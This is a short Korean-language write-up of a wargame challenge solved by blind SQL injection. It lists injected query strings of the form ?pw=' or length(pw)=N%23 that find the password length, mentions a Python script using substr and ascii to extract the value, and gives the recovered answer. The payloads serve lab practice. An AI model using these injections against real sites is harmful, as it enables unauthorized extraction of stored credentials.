728x90
먼저 필터링 함수를 보면 pw변수값만 필터링되는것을 알 수 있다.
문제 해결 조건을 보면, pw라는 변수가 존재하여야 하고, result의 pw와 쿼리에서 가져온 pw가 일치하여야 한다.
즉, db에 들어가있는 pw를 알아내야 한다.
여기서 이용할 함수는 length함수와, ascii함수, substr함수이다.
우선, pw의 길이부터 확인해보자.
[?pw=' or length(pw)=1%23]
[?pw=' or length(pw)=2%23]
[?pw=' or length(pw)=3%23]
[?pw=' or length(pw)=4%23]
[?pw=' or length(pw)=5%23]
[?pw=' or length(pw)=6%23]
[?pw=' or length(pw)=7%23]
[?pw=' or length(pw)=8%23] >> Hello admin
pw의 길이가 8인건 알았지만, 숫자와 문자와 특수기호까지 포함해서 8자리라고 가정하면 가능한 값이 너무 많다.
pw의 길이는 아무리 길어도 2가지수를 넘어가지 않기에 노가다로 알아낼 수 있지만,
pw의 값을 알아내기엔 무리가 있다. 따라서, 파이썬코드를 작성하여
pw 의 length와 값을 찾아보자.
pw값은 095A9852
//아까 코드를 substr을 사용했기에 ord를 같이 사용해주면 대소문자도 구분 가능하다.
728x90